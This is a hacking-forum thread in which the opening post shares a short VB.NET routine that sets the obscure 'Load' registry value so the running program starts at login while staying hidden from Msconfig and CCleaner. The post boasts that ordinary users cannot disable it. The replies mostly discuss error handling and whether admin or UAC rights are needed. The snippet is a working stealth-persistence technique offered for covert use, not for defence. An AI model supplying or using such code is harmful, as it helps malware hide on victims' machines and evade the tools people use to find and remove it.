Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

.NET 

Hidden Startup | Hidden from Msconfig and CCleaner

Here is a hidden startup method that can bypass Msconfig and CCcleaner

Code
Private Sub Startup()
      On Error Resume Next
      Microsoft.Win32.Registry.CurrentUser.OpenSubKey("Software\Microsoft\Windows NT\CurrentVersion\Windows", True).SetValue("Load", Process.GetCurrentProcess.MainModule.FileName)
    End Sub

Any normal user will not know how to disable this startup.

Enjoy.
This question may be stupid, but why do you use a function instead of a sub :-?
And why do you use On Error Resume Next? That's the worst idea ever.
(Aug 25, 2014 09:07 AM)zeroexp Wrote:  This question may be stupid, but why do you use a function instead of a sub :-?

Your right lol.. my bad will fix this now.
There is no reason for this i guess
But you could use a try catch and return true or false for persistance or stuff like that :)

But thanks for this code I didn't even know or think of this :P
Gonna try it soon
[Image: uzpE9zW.jpg]

(Aug 25, 2014 09:22 AM)imi-tat0r Wrote:  There is no reason for this i guess
But you could use a try catch and return true or false for persistance or stuff like that :)

But thanks for this code I didn't even know or think of this :P
Gonna try it soon

No problem, and if you do use it, don't bother crediting :P
On error resume next... VB6 shit, leave that behind.

Before adding a try/catch, try to think about the problems that could occur whilst that code is ran, solve them, and add a try/catch to catch an error you have not already solved.
Wait wouldn't that ask for Admin + UAC ?
[Image: b7D9C.png]

It doesn't need to have 'On Resume'. Just use a Try statement to catch the exception if an error is occured upon runtime.

In this case, it will exit the sub if it doesn't add the value properly. You can add a return statement as well but you would have to change your sub into a function and return "Could not add a registry value to key" instead of Exit sub.
(Aug 25, 2014 12:22 PM)Marwix Wrote:  [Image: b7D9C.png]

It doesn't need to have 'On Resume'. Just use a Try statement to catch the exception if an error is occured upon runtime.

In this case, it will exit the sub if it doesn't add the value properly. You can add a return statement as well but you would have to change your sub into a function and return "Could not add a registry value to key" instead of Exit sub.

Can you care to explain why you are exiting the sub routine during your catch? lol
(Aug 25, 2014 12:34 PM)Cairns Wrote:  Can you care to explain why you are exiting the sub routine during your catch? lol

Yeah i noticed that too, no point really since there is no other code in the sub.
(Aug 25, 2014 12:34 PM)Cairns Wrote:  Can you care to explain why you are exiting the sub routine during your catch? lol

You don't have to exit the sub. You can just write 'Msgbox("Coud not add reg value")' in the exception statement as well but I'm trying to let him understand how I mean by using Exit sub.

OP, the exception can be anything but I prefer having a msgbox that appears if an error occurs.

How would you do it Cairns?

I'm pretty sure that I haven't done anything wrong here 😅
Really great ideas guys. 10/10 would implement.
(Aug 25, 2014 08:37 PM)Voidlight Wrote:  Really great ideas guys. 10/10 would implement.

What about admin rights and uac ? Are they required ?
for HKCU not i guess and for HKLM you will need Admin rights. I don't know about UAC
[Image: uzpE9zW.jpg]



Possibly Related Threads...
Thread / Author Replies Views Last Post
[C#] by Curs3dSep 26, 2026 08:11 AM 2 100 Sep 26, 2026 08:11 AM
Last Post: Curs3d
[C#] by VoidlightJul 9, 2021 04:33 AM 7 1,009 Jul 9, 2021 04:33 AM
Last Post: K A T A N A
[.NET] by vichensoxSep 6, 2020 03:31 PM 7 507 Sep 6, 2020 03:31 PM
Last Post: ivory